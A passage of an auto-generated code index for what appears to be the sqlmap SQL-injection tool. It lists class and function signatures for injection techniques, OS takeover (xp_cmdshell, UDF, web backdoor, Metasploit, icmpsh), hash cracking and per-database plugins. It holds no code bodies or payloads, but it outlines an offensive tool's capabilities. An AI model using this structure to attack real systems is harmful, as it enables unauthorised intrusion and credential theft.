method http_error_206 (line 18) | def http_error_206(self, req, fp, code, msg, hdrs):
method http_error_416 (line 25) | def http_error_416(self, req, fp, code, msg, hdrs):
FILE: lib/request/redirecthandler.py
class SmartRedirectHandler (line 39) | class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
method _get_header_redirect (line 40) | def _get_header_redirect(self, headers):
method _ask_redirect_choice (line 51) | def _ask_redirect_choice(self, redcode, redurl, method):
method _redirect_request (line 70) | def _redirect_request(self, req, fp, code, msg, headers, newurl):
method http_error_302 (line 78) | def http_error_302(self, req, fp, code, msg, headers):
method _infinite_loop_check (line 202) | def _infinite_loop_check(self, req):
FILE: lib/request/templates.py
function getPageTemplate (line 11) | def getPageTemplate(payload, place):
FILE: lib/takeover/abstraction.py
class Abstraction (line 34) | class Abstraction(Web, UDF, XP_cmdshell):
method __init__ (line 40) | def __init__(self):
method execCmd (line 48) | def execCmd(self, cmd, silent=False):
method evalCmd (line 65) | def evalCmd(self, cmd, first=None, last=None):
method runCmd (line 86) | def runCmd(self, cmd):
method shell (line 107) | def shell(self):
method _initRunAs (line 166) | def _initRunAs(self):
method initEnv (line 195) | def initEnv(self, mandatory=True, detailed=False, web=False, forceInit...
FILE: lib/takeover/icmpsh.py
class ICMPsh (line 25) | class ICMPsh(object):
method _initVars (line 30) | def _initVars(self):
method _selectRhost (line 37) | def _selectRhost(self):
method _selectLhost (line 52) | def _selectLhost(self):
method _prepareIngredients (line 79) | def _prepareIngredients(self, encode=True):
method _runIcmpshMaster (line 85) | def _runIcmpshMaster(self):
method _runIcmpshSlaveRemote (line 91) | def _runIcmpshSlaveRemote(self):
method uploadIcmpshSlave (line 99) | def uploadIcmpshSlave(self, web=False):
method icmpPwn (line 129) | def icmpPwn(self):
FILE: lib/takeover/metasploit.py
class Metasploit (line 57) | class Metasploit(object):
method _initVars (line 62) | def _initVars(self):
method _skeletonSelection (line 134) | def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
method _selectSMBPort (line 168) | def _selectSMBPort(self):
method _selectEncoder (line 171) | def _selectEncoder(self, encode=True):
method _selectPayload (line 182) | def _selectPayload(self):
method _selectPort (line 261) | def _selectPort(self):
method _selectRhost (line 266) | def _selectRhost(self):
method _selectLhost (line 282) | def _selectLhost(self):
method _selectConnection (line 298) | def _selectConnection(self):
method _prepareIngredients (line 301) | def _prepareIngredients(self, encode=True):
method _forgeMsfCliCmd (line 310) | def _forgeMsfCliCmd(self, exitfunc="process"):
method _forgeMsfCliCmdForSmbrelay (line 344) | def _forgeMsfCliCmdForSmbrelay(self):
method _forgeMsfPayloadCmd (line 378) | def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
method _runMsfCliSmbrelay (line 415) | def _runMsfCliSmbrelay(self):
method _runMsfCli (line 425) | def _runMsfCli(self, exitfunc):
method _runMsfShellcodeRemote (line 435) | def _runMsfShellcodeRemote(self):
method _runMsfShellcodeRemoteViaSexec (line 442) | def _runMsfShellcodeRemoteViaSexec(self):
method _loadMetExtensions (line 455) | def _loadMetExtensions(self, proc, metSess):
method _controlMsfCmd (line 490) | def _controlMsfCmd(self, proc, func):
method createMsfShellcode (line 583) | def createMsfShellcode(self, exitfunc, format, extra, encode):
method uploadShellcodeexec (line 621) | def uploadShellcodeexec(self, web=False):
method pwn (line 661) | def pwn(self, goUdf=False):
method smb (line 682) | def smb(self):
method bof (line 697) | def bof(self):
FILE: lib/takeover/registry.py
class Registry (line 16) | class Registry(object):
method _initVars (line 21) | def _initVars(self, regKey, regValue, regType=None, regData=None, pars...
method _createLocalBatchFile (line 51) | def _createLocalBatchFile(self):
method _createRemoteBatchFile (line 66) | def _createRemoteBatchFile(self):
method readRegKey (line 74) | def readRegKey(self, regKey, regValue, parse=False):
method addRegKey (line 94) | def addRegKey(self, regKey, regValue, regType, regData):
method delRegKey (line 107) | def delRegKey(self, regKey, regValue):
FILE: lib/takeover/udf.py
class UDF (line 33) | class UDF(object):
method __init__ (line 39) | def __init__(self):
method _askOverwriteUdf (line 44) | def _askOverwriteUdf(self, udf):
method _checkExistUdf (line 50) | def _checkExistUdf(self, udf):
method udfCheckAndOverwrite (line 56) | def udfCheckAndOverwrite(self, udf):
method udfCreateSupportTbl (line 66) | def udfCreateSupportTbl(self, dataType):
method udfForgeCmd (line 72) | def udfForgeCmd(self, cmd):
method udfExecCmd (line 81) | def udfExecCmd(self, cmd, silent=False, udfName=None):
method udfEvalCmd (line 89) | def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
method udfCheckNeeded (line 112) | def udfCheckNeeded(self):
method udfSetRemotePath (line 125) | def udfSetRemotePath(self):
method udfSetLocalPaths (line 129) | def udfSetLocalPaths(self):
method udfCreateFromSharedLib (line 133) | def udfCreateFromSharedLib(self, udf, inpRet):
method udfInjectCore (line 137) | def udfInjectCore(self, udfDict):
method udfInjectSys (line 180) | def udfInjectSys(self):
method udfInjectCustom (line 185) | def udfInjectCustom(self):
FILE: lib/takeover/web.py
class Web (line 62) | class Web(object):
method __init__ (line 68) | def __init__(self):
method webBackdoorRunCmd (line 77) | def webBackdoorRunCmd(self, cmd):
method webUpload (line 97) | def webUpload(self, destFileName, directory, stream=None, content=None...
method _webFileStreamUpload (line 116) | def _webFileStreamUpload(self, stream, destFileName, directory):
method _webFileInject (line 148) | def _webFileInject(self, fileContent, fileName, directory):
method webInit (line 167) | def webInit(self):
FILE: lib/takeover/xp_cmdshell.py
class XP_cmdshell (line 38) | class XP_cmdshell(object):
method __init__ (line 44) | def __init__(self):
method _xpCmdshellCreate (line 47) | def _xpCmdshellCreate(self):
method _xpCmdshellConfigure2005 (line 66) | def _xpCmdshellConfigure2005(self, mode):
method _xpCmdshellConfigure2000 (line 75) | def _xpCmdshellConfigure2000(self, mode):
method _xpCmdshellConfigure (line 87) | def _xpCmdshellConfigure(self, mode):
method _xpCmdshellCheck (line 95) | def _xpCmdshellCheck(self):
method _xpCmdshellTest (line 102) | def _xpCmdshellTest(self):
method xpCmdshellWriteFile (line 127) | def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
method xpCmdshellForgeCmd (line 156) | def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
method xpCmdshellExecCmd (line 188) | def xpCmdshellExecCmd(self, cmd, silent=False):
method xpCmdshellEvalCmd (line 191) | def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
method xpCmdshellInit (line 248) | def xpCmdshellInit(self):
FILE: lib/techniques/blind/inference.py
function bisection (line 67) | def bisection(payload, expression, length=None, charsetType=None, firstC...
function queryOutputLength (line 738) | def queryOutputLength(expression, payload):
FILE: lib/techniques/dns/test.py
function dnsTest (line 17) | def dnsTest(payload):
FILE: lib/techniques/dns/use.py
function dnsUse (line 37) | def dnsUse(payload, expression):
FILE: lib/techniques/error/use.py
function _oneShotErrorUse (line 65) | def _oneShotErrorUse(expression, field=None, chunkTest=False):
function _errorFields (line 227) | def _errorFields(expression, expressionFields, expressionFieldsList, num...
function _errorReplaceChars (line 272) | def _errorReplaceChars(value):
function _formatPartialContent (line 284) | def _formatPartialContent(value):
function errorUse (line 299) | def errorUse(expression, dump=False):
FILE: lib/techniques/union/test.py
function _findUnionCharCount (line 55) | def _findUnionCharCount(comment, place, parameter, value, prefix, suffix...
function _fuzzUnionCols (line 184) | def _fuzzUnionCols(place, parameter, prefix, suffix):
function _unionPosition (line 214) | def _unionPosition(comment, place, parameter, prefix, suffix, count, whe...
function _unionConfirm (line 294) | def _unionConfirm(comment, place, parameter, prefix, suffix, count):
function _unionTestByCharBruteforce (line 309) | def _unionTestByCharBruteforce(comment, place, parameter, value, prefix,...
function unionTest (line 371) | def unionTest(comment, place, parameter, value, prefix, suffix):
FILE: lib/techniques/union/use.py
function _oneShotUnionUse (line 66) | def _oneShotUnionUse(expression, unpack=True, limited=False):
function configUnion (line 207) | def configUnion(char=None, columns=None):
function unionUse (line 240) | def unionUse(expression, unpack=True, dump=False):
FILE: lib/utils/api.py
class DataStore (line 73) | class DataStore(object):
class Database (line 81) | class Database(object):
method __init__ (line 84) | def __init__(self, database=None):
method connect (line 89) | def connect(self, who="server"):
method disconnect (line 95) | def disconnect(self):
method commit (line 102) | def commit(self):
method execute (line 105) | def execute(self, statement, arguments=None):
method init (line 124) | def init(self):
class Task (line 129) | class Task(object):
method __init__ (line 130) | def __init__(self, taskid, remote_addr):
method initialize_options (line 138) | def initialize_options(self, taskid):
method set_option (line 160) | def set_option(self, option, value):
method get_option (line 163) | def get_option(self, option):
method get_options (line 166) | def get_options(self):
method reset_options (line 169) | def reset_options(self):
method engine_start (line 172) | def engine_start(self):
method engine_stop (line 186) | def engine_stop(self):
method engine_process (line 193) | def engine_process(self):
method engine_kill (line 196) | def engine_kill(self):
method engine_get_id (line 205) | def engine_get_id(self):
method engine_get_returncode (line 211) | def engine_get_returncode(self):
method engine_has_terminated (line 218) | def engine_has_terminated(self):
class StdDbOut (line 222) | class StdDbOut(object):
method __init__ (line 223) | def __init__(self, taskid, messagetype="stdout"):
method write (line 234) | def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type...
method flush (line 264) | def flush(self):
method close (line 267) | def close(self):
method seek (line 270) | def seek(self):
class LogRecorder (line 273) | class LogRecorder(logging.StreamHandler):
method emit (line 274) | def emit(self, record):
function setRestAPILog (line 281) | def setRestAPILog():
function is_admin (line 295) | def is_admin(token):
function check_authentication (line 299) | def check_authentication():
function security_headers (line 322) | def security_headers(json_header=True):
function error401 (line 342) | def error401(error=None):
function error404 (line 347) | def error404(error=None):
function error405 (line 352) | def error405(error=None):
function error500 (line 357) | def error500(error=None):
function path_401 (line 366) | def path_401():
function task_new (line 376) | def task_new():
function task_delete (line 389) | def task_delete(taskid):
function task_list (line 409) | def task_list(token=None):
function task_flush (line 424) | def task_flush(token=None):
function option_list (line 443) | def option_list(taskid):
function option_get (line 455) | def option_get(taskid):
function option_set (line 478) | def option_set(taskid):
function scan_start (line 499) | def scan_start(taskid):
function scan_stop (line 528) | def scan_stop(taskid):
function scan_kill (line 543) | def scan_kill(taskid):
function scan_status (line 558) | def scan_status(taskid):
function scan_data (line 580) | def scan_data(taskid):
function scan_log_limited (line 605) | def scan_log_limited(taskid, start, end):
function scan_log (line 631) | def scan_log(taskid):
function download (line 651) | def download(taskid, target, filename):
function version (line 675) | def version(token=None):
function server (line 683) | def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adap...
function _client (line 739) | def _client(url, options=None):
function client (line 761) | def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, user...
FILE: lib/utils/brute.py
function _addPageTextWords (line 48) | def _addPageTextWords():
function tableExists (line 64) | def tableExists(tableFile, regex=None):
function columnExists (line 188) | def columnExists(columnFile, regex=None):
function fileExists (line 324) | def fileExists(pathFile):
FILE: lib/utils/crawler.py
function crawl (line 44) | def crawl(target, post=None, cookie=None):
function storeResultsToFile (line 240) | def storeResultsToFile(results):
FILE: lib/utils/deps.py
function checkDependencies (line 13) | def checkDependencies():
FILE: lib/utils/getch.py
class _Getch (line 8) | class _Getch(object):
method __init__ (line 13) | def __init__(self):
method __call__ (line 22) | def __call__(self):
class _GetchUnix (line 25) | class _GetchUnix(object):
method __init__ (line 26) | def __init__(self):
method __call__ (line 29) | def __call__(self):
class _GetchWindows (line 43) | class _GetchWindows(object):
method __init__ (line 44) | def __init__(self):
method __call__ (line 47) | def __call__(self):
class _GetchMacCarbon (line 51) | class _GetchMacCarbon(object):
method __init__ (line 58) | def __init__(self):
method __call__ (line 63) | def __call__(self):
FILE: lib/utils/gui.py
function runGui (line 38) | def runGui(parser):
FILE: lib/utils/har.py
class HTTPCollectorFactory (line 24) | class HTTPCollectorFactory(object):
method __init__ (line 25) | def __init__(self, harFile=False):
method create (line 28) | def create(self):
class HTTPCollector (line 31) | class HTTPCollector(object):
method __init__ (line 32) | def __init__(self):
method setExtendedArguments (line 36) | def setExtendedArguments(self, arguments):
method collectRequest (line 39) | def collectRequest(self, requestMessage, responseMessage, startTime=No...
method obtain (line 44) | def obtain(self):
class RawPair (line 51) | class RawPair(object):
method __init__ (line 52) | def __init__(self, request, response, startTime=None, endTime=None, ex...
method toEntry (line 59) | def toEntry(self):
class Entry (line 64) | class Entry(object):
method __init__ (line 65) | def __init__(self, request, response, startTime, endTime, extendedArgu...
method toDict (line 72) | def toDict(self):
class Request (line 88) | class Request(object):
method __init__ (line 89) | def __init__(self, method, path, httpVersion, headers, postBody=None, ...
method parse (line 99) | def parse(cls, raw):
method url (line 110) | def url(self):
method toDict (line 114) | def toDict(self):
class Response (line 136) | class Response(object):
method __init__ (line 139) | def __init__(self, httpVersion, status, statusText, headers, content, ...
method parse (line 149) | def parse(cls, raw):
method toDict (line 181) | def toDict(self):
class FakeSocket (line 208) | class FakeSocket(object):
method __init__ (line 212) | def __init__(self, response_text):
method makefile (line 215) | def makefile(self, *args, **kwargs):
class HTTPRequest (line 218) | class HTTPRequest(_BaseHTTPServer.BaseHTTPRequestHandler):
method __init__ (line 222) | def __init__(self, request_text):
method send_error (line 234) | def send_error(self, code, message):
FILE: lib/utils/hash.py
function mysql_passwd (line 93) | def mysql_passwd(password, uppercase=True):
function mysql_old_passwd (line 108) | def mysql_old_passwd(password, uppercase=True): # prior to version '4.1'
function postgres_passwd (line 133) | def postgres_passwd(password, username, uppercase=False):
function mssql_new_passwd (line 149) | def mssql_new_passwd(password, salt, uppercase=False): # since version ...
function mssql_passwd (line 166) | def mssql_passwd(password, salt, uppercase=False): # versions '2005' an...
function mssql_old_passwd (line 183) | def mssql_old_passwd(password, salt, uppercase=True): # version '2000' ...
function oracle_passwd (line 201) | def oracle_passwd(password, salt, uppercase=True):
function oracle_old_passwd (line 219) | def oracle_old_passwd(password, username, uppercase=True): # prior to v...
function md5_generic_passwd (line 248) | def md5_generic_passwd(password, uppercase=False):
function sha1_generic_passwd (line 260) | def sha1_generic_passwd(password, uppercase=False):
function apache_sha1_passwd (line 272) | def apache_sha1_passwd(password, **kwargs):
function ssha_passwd (line 282) | def ssha_passwd(password, salt, **kwargs):
function ssha256_passwd (line 293) | def ssha256_passwd(password, salt, **kwargs):
function ssha512_passwd (line 304) | def ssha512_passwd(password, salt, **kwargs):
function sha224_generic_passwd (line 315) | def sha224_generic_passwd(password, uppercase=False):
function sha256_generic_passwd (line 325) | def sha256_generic_passwd(password, uppercase=False):
function sha384_generic_passwd (line 335) | def sha384_generic_passwd(password, uppercase=False):
function sha512_generic_passwd (line 345) | def sha512_generic_passwd(password, uppercase=False):
function crypt_generic_passwd (line 355) | def crypt_generic_passwd(password, salt, **kwargs):
function unix_md5_passwd (line 369) | def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
function joomla_passwd (line 442) | def joomla_passwd(password, salt, **kwargs):
function django_md5_passwd (line 452) | def django_md5_passwd(password, salt, **kwargs):
function django_sha1_passwd (line 462) | def django_sha1_passwd(password, salt, **kwargs):
function vbulletin_passwd (line 472) | def vbulletin_passwd(password, salt, **kwargs):
function oscommerce_old_passwd (line 482) | def oscommerce_old_passwd(password, salt, **kwargs):
function phpass_passwd (line 492) | def phpass_passwd(password, salt, count, prefix, **kwargs):
function _finalize (line 594) | def _finalize(retVal, results, processes, attack_info=None):
function storeHashesToFile (line 629) | def storeHashesToFile(attack_dict):
function attackCachedUsersPasswords (line 668) | def attackCachedUsersPasswords():
function attackDumpedTable (line 683) | def attackDumpedTable():
function hashRecognition (line 789) | def hashRecognition(value):
function _bruteProcessVariantA (line 827) | def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_...
function _bruteProcessVariantB (line 905) | def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVa...
function dictionaryAttack (line 984) | def dictionaryAttack(attack_dict):
function crackHashFile (line 1314) | def crackHashFile(hashFile):
FILE: lib/utils/hashdb.py
class HashDB (line 34) | class HashDB(object):
method __init__ (line 35) | def __init__(self, filepath):
method _get_cursor (line 43) | def _get_cursor(self):
method _set_cursor (line 64) | def _set_cursor(self, cursor):
method close (line 70) | def close(self):
method closeAll (line 83) | def closeAll(self):
method hashKey (line 94) | def hashKey(key):
method retrieve (line 99) | def retrieve(self, key, unserialize=False):
method write (line 143) | def write(self, key, value, serialize=False):
method flush (line 158) | def flush(self):
method beginTransaction (line 201) | def beginTransaction(self):
method endTransaction (line 217) | def endTransaction(self):
FILE: lib/utils/pivotdumptable.py
function pivotDumpTable (line 39) | def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
FILE: lib/utils/progress.py
class ProgressBar (line 17) | class ProgressBar(object):
method __init__ (line 22) | def __init__(self, minValue=0, maxValue=10, totalWidth=None):
method _convertSeconds (line 32) | def _convertSeconds(self, value):
method update (line 39) | def update(self, newAmount=0):
method progress (line 74) | def progress(self, newAmount):
method draw (line 89) | def draw(self, eta=None):
method __str__ (line 99) | def __str__(self):
FILE: lib/utils/purge.py
function purge (line 22) | def purge(directory):
FILE: lib/utils/safe2bin.py
function safecharencode (line 42) | def safecharencode(value):
function safechardecode (line 74) | def safechardecode(value, binary=False):
FILE: lib/utils/search.py
function _search (line 40) | def _search(dork):
function search (line 190) | def search(dork):
function setHTTPHandlers (line 212) | def setHTTPHandlers(): # Cross-referenced function
FILE: lib/utils/sgmllib.py
class SGMLParseError (line 46) | class SGMLParseError(RuntimeError):
class SGMLParser (line 62) | class SGMLParser(markupbase.ParserBase):
method __init__ (line 68) | def __init__(self, verbose=0):
method reset (line 73) | def reset(self):
method setnomoretags (line 83) | def setnomoretags(self):
method setliteral (line 90) | def setliteral(self, *args):
method feed (line 97) | def feed(self, data):
method close (line 108) | def close(self):
method error (line 112) | def error(self, message):
method goahead (line 118) | def goahead(self, end):
method parse_pi (line 234) | def parse_pi(self, i):
method get_starttag_text (line 246) | def get_starttag_text(self):
method parse_starttag (line 250) | def parse_starttag(self, i):
method _convert_ref (line 313) | def _convert_ref(self, match):
method parse_endtag (line 324) | def parse_endtag(self, i):
method finish_shorttag (line 337) | def finish_shorttag(self, tag, data):
method finish_starttag (line 344) | def finish_starttag(self, tag, attrs):
method finish_endtag (line 362) | def finish_endtag(self, tag):
method handle_starttag (line 394) | def handle_starttag(self, tag, method, attrs):
method handle_endtag (line 398) | def handle_endtag(self, tag, method):
method report_unbalanced (line 402) | def report_unbalanced(self, tag):
method convert_charref (line 407) | def convert_charref(self, name):
method convert_codepoint (line 417) | def convert_codepoint(self, codepoint):
method handle_charref (line 420) | def handle_charref(self, name):
method convert_entityref (line 432) | def convert_entityref(self, name):
method handle_entityref (line 444) | def handle_entityref(self, name):
method handle_data (line 453) | def handle_data(self, data):
method handle_comment (line 457) | def handle_comment(self, data):
method handle_decl (line 461) | def handle_decl(self, decl):
method handle_pi (line 465) | def handle_pi(self, data):
method unknown_starttag (line 469) | def unknown_starttag(self, tag, attrs):
method unknown_endtag (line 472) | def unknown_endtag(self, tag):
method unknown_charref (line 475) | def unknown_charref(self, ref):
method unknown_entityref (line 478) | def unknown_entityref(self, ref):
class TestSGMLParser (line 482) | class TestSGMLParser(SGMLParser):
method __init__ (line 484) | def __init__(self, verbose=0):
method handle_data (line 488) | def handle_data(self, data):
method flush (line 493) | def flush(self):
method handle_comment (line 499) | def handle_comment(self, data):
method unknown_starttag (line 506) | def unknown_starttag(self, tag, attrs):
method unknown_endtag (line 516) | def unknown_endtag(self, tag):
method unknown_entityref (line 520) | def unknown_entityref(self, ref):
method unknown_charref (line 524) | def unknown_charref(self, ref):
method unknown_decl (line 528) | def unknown_decl(self, data):
method close (line 532) | def close(self):
function test (line 537) | def test(args=None):
FILE: lib/utils/sqlalchemy.py
function getSafeExString (line 44) | def getSafeExString(ex, encoding=None): # Cross-referenced function
class SQLAlchemy (line 47) | class SQLAlchemy(GenericConnector):
method __init__ (line 48) | def __init__(self, dialect=None):
method connect (line 65) | def connect(self):
method fetchall (line 106) | def fetchall(self):
method execute (line 116) | def execute(self, query):
method select (line 133) | def select(self, query):
FILE: lib/utils/timeout.py
function timeout (line 14) | def timeout(func, args=None, kwargs=None, duration=1, default=None):
FILE: lib/utils/tui.py
class NcursesUI (line 28) | class NcursesUI:
method __init__ (line 29) | def __init__(self, stdscr, parser):
method _parse_options (line 57) | def _parse_options(self):
method _format_option_strings (line 80) | def _format_option_strings(self, option):
method _draw_header (line 89) | def _draw_header(self):
method _get_tab_bar_height (line 97) | def _get_tab_bar_height(self):
method _draw_tabs (line 118) | def _draw_tabs(self):
method _draw_footer (line 152) | def _draw_footer(self):
method _draw_current_tab (line 164) | def _draw_current_tab(self):
method _wrap_text (line 264) | def _wrap_text(self, text, width):
method _edit_field (line 283) | def _edit_field(self):
method _export_config (line 343) | def _export_config(self):
method _import_config (line 420) | def _import_config(self):
method _run_sqlmap (line 520) | def _run_sqlmap(self):
method _show_console (line 553) | def _show_console(self, configFile):
method run (line 697) | def run(self):
function runTui (line 753) | def runTui(parser):
FILE: lib/utils/xrange.py
class xrange (line 10) | class xrange(object):
method __init__ (line 40) | def __init__(self, *args):
method start (line 49) | def start(self):
method stop (line 55) | def stop(self):
method step (line 59) | def step(self):
method __hash__ (line 64) | def __hash__(self):
method __repr__ (line 67) | def __repr__(self):
method __len__ (line 70) | def __len__(self):
method _len (line 73) | def _len(self):
method __contains__ (line 76) | def __contains__(self, value):
method __getitem__ (line 79) | def __getitem__(self, index):
method _index (line 97) | def _index(self, i):
method index (line 100) | def index(self, i):
FILE: plugins/dbms/access/__init__.py
class AccessMap (line 18) | class AccessMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellane...
method __init__ (line 23) | def __init__(self):
FILE: plugins/dbms/access/connector.py
class Connector (line 23) | class Connector(GenericConnector):
method connect (line 31) | def connect(self):
method fetchall (line 48) | def fetchall(self):
method execute (line 55) | def execute(self, query):
method select (line 65) | def select(self, query):
FILE: plugins/dbms/access/enumeration.py
class Enumeration (line 11) | class Enumeration(GenericEnumeration):
method getBanner (line 12) | def getBanner(self):
method getCurrentUser (line 18) | def getCurrentUser(self):
method getCurrentDb (line 22) | def getCurrentDb(self):
method isDba (line 26) | def isDba(self, user=None):
method getUsers (line 30) | def getUsers(self):
method getPasswordHashes (line 36) | def getPasswordHashes(self):
method getPrivileges (line 42) | def getPrivileges(self, *args, **kwargs):
method getDbs (line 48) | def getDbs(self):
method searchDb (line 54) | def searchDb(self):
method searchTable (line 60) | def searchTable(self):
method searchColumn (line 66) | def searchColumn(self):
method search (line 72) | def search(self):
method getHostname (line 76) | def getHostname(self):
method getStatements (line 80) | def getStatements(self):
FILE: plugins/dbms/access/filesystem.py
class Filesystem (line 11) | class Filesystem(GenericFilesystem):
method readFile (line 12) | def readFile(self, remoteFile):
method writeFile (line 16) | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=F...
FILE: plugins/dbms/access/fingerprint.py
class Fingerprint (line 25) | class Fingerprint(GenericFingerprint):
method __init__ (line 26) | def __init__(self):
method _sandBoxCheck (line 29) | def _sandBoxCheck(self):
method _sysTablesCheck (line 45) | def _sysTablesCheck(self):
method _getDatabaseDir (line 87) | def _getDatabaseDir(self):
method getFingerprint (line 108) | def getFingerprint(self):
method checkDbms (line 150) | def checkDbms(self):
method forceDbmsEnum (line 192) | def forceDbmsEnum(self):
FILE: plugins/dbms/access/syntax.py
class Syntax (line 11) | class Syntax(GenericSyntax):
method escape (line 13) | def escape(expression, quote=True):
FILE: plugins/dbms/access/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/altibase/__init__.py
class AltibaseMap (line 19) | class AltibaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscella...
method __init__ (line 24) | def __init__(self):
FILE: plugins/dbms/altibase/connector.py
class Connector (line 11) | class Connector(GenericConnector):
method connect (line 12) | def connect(self):
FILE: plugins/dbms/altibase/enumeration.py
class Enumeration (line 11) | class Enumeration(GenericEnumeration):
method getStatements (line 12) | def getStatements(self):
method getHostname (line 18) | def getHostname(self):
FILE: plugins/dbms/altibase/filesystem.py
class Filesystem (line 10) | class Filesystem(GenericFilesystem):
FILE: plugins/dbms/altibase/fingerprint.py
class Fingerprint (line 19) | class Fingerprint(GenericFingerprint):
method __init__ (line 20) | def __init__(self):
method getFingerprint (line 23) | def getFingerprint(self):
method checkDbms (line 60) | def checkDbms(self):
FILE: plugins/dbms/altibase/syntax.py
class Syntax (line 11) | class Syntax(GenericSyntax):
method escape (line 13) | def escape(expression, quote=True):
FILE: plugins/dbms/altibase/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/cache/__init__.py
class CacheMap (line 19) | class CacheMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneo...
method __init__ (line 24) | def __init__(self):
FILE: plugins/dbms/cache/connector.py
class Connector (line 24) | class Connector(GenericConnector):
method connect (line 33) | def connect(self):
method fetchall (line 55) | def fetchall(self):
method execute (line 62) | def execute(self, query):
method select (line 75) | def select(self, query):
FILE: plugins/dbms/cache/enumeration.py
class Enumeration (line 12) | class Enumeration(GenericEnumeration):
method getCurrentDb (line 13) | def getCurrentDb(self):
method getUsers (line 16) | def getUsers(self):
method getPasswordHashes (line 22) | def getPasswordHashes(self):
method getPrivileges (line 28) | def getPrivileges(self, *args, **kwargs):
method getStatements (line 34) | def getStatements(self):
method getRoles (line 40) | def getRoles(self, *args, **kwargs):
method getHostname (line 46) | def getHostname(self):
FILE: plugins/dbms/cache/filesystem.py
class Filesystem (line 10) | class Filesystem(GenericFilesystem):
FILE: plugins/dbms/cache/fingerprint.py
class Fingerprint (line 23) | class Fingerprint(GenericFingerprint):
method __init__ (line 24) | def __init__(self):
method getFingerprint (line 27) | def getFingerprint(self):
method checkDbms (line 79) | def checkDbms(self):
FILE: plugins/dbms/cache/syntax.py
class Syntax (line 11) | class Syntax(GenericSyntax):
method escape (line 13) | def escape(expression, quote=True):
FILE: plugins/dbms/cache/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/clickhouse/__init__.py
class ClickHouseMap (line 19) | class ClickHouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscel...
method __init__ (line 24) | def __init__(self):
FILE: plugins/dbms/clickhouse/connector.py
class Connector (line 10) | class Connector(GenericConnector):
FILE: plugins/dbms/clickhouse/enumeration.py
class Enumeration (line 11) | class Enumeration(GenericEnumeration):
method getPasswordHashes (line 12) | def getPasswordHashes(self):
method getRoles (line 18) | def getRoles(self, *args, **kwargs):
FILE: plugins/dbms/clickhouse/filesystem.py
class Filesystem (line 11) | class Filesystem(GenericFilesystem):
method readFile (line 12) | def readFile(self, remoteFile):
method writeFile (line 16) | def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=F...
FILE: plugins/dbms/clickhouse/fingerprint.py
class Fingerprint (line 19) | class Fingerprint(GenericFingerprint):
method __init__ (line 20) | def __init__(self):
method getFingerprint (line 23) | def getFingerprint(self):
method checkDbms (line 60) | def checkDbms(self):
FILE: plugins/dbms/clickhouse/syntax.py
class Syntax (line 11) | class Syntax(GenericSyntax):
method escape (line 13) | def escape(expression, quote=True):
FILE: plugins/dbms/clickhouse/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/cratedb/__init__.py
class CrateDBMap (line 19) | class CrateDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellan...
method __init__ (line 24) | def __init__(self):
FILE: plugins/dbms/cratedb/connector.py
class Connector (line 21) | class Connector(GenericConnector):
method connect (line 32) | def connect(self):
method fetchall (line 45) | def fetchall(self):
method execute (line 52) | def execute(self, query):
method select (line 67) | def select(self, query):
FILE: plugins/dbms/cratedb/enumeration.py
class Enumeration (line 11) | class Enumeration(GenericEnumeration):
method getPasswordHashes (line 12) | def getPasswordHashes(self):
method getRoles (line 18) | def getRoles(self, *args, **kwargs):
FILE: plugins/dbms/cratedb/filesystem.py
class Filesystem (line 10) | class Filesystem(GenericFilesystem):
FILE: plugins/dbms/cratedb/fingerprint.py
class Fingerprint (line 19) | class Fingerprint(GenericFingerprint):
method __init__ (line 20) | def __init__(self):
method getFingerprint (line 23) | def getFingerprint(self):
method checkDbms (line 60) | def checkDbms(self):
FILE: plugins/dbms/cratedb/syntax.py
class Syntax (line 10) | class Syntax(GenericSyntax):
method escape (line 12) | def escape(expression, quote=True):
FILE: plugins/dbms/cratedb/takeover.py
class Takeover (line 11) | class Takeover(GenericTakeover):
method osCmd (line 12) | def osCmd(self):
method osShell (line 16) | def osShell(self):
method osPwn (line 20) | def osPwn(self):
method osSmb (line 25) | def osSmb(self):
FILE: plugins/dbms/cubrid/__init__.py
class CubridMap (line 19) | class CubridMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellane...
method __init__ (line 24) | def __init__(self):
FILE: plugins/dbms/cubrid/connector.py
class Connector (line 21) | class Connector(GenericConnector):
method connect (line 29) | def connect(self):
method fetchall (line 40) | def fetchall(self):
method execute (line 47) | def execute(self, query):
method select (line 57) | def select(self, query):
FILE: plugins/dbms/cubrid/enumeration.py
class Enumeration (line 11) | class Enumeration(GenericEnumeration):
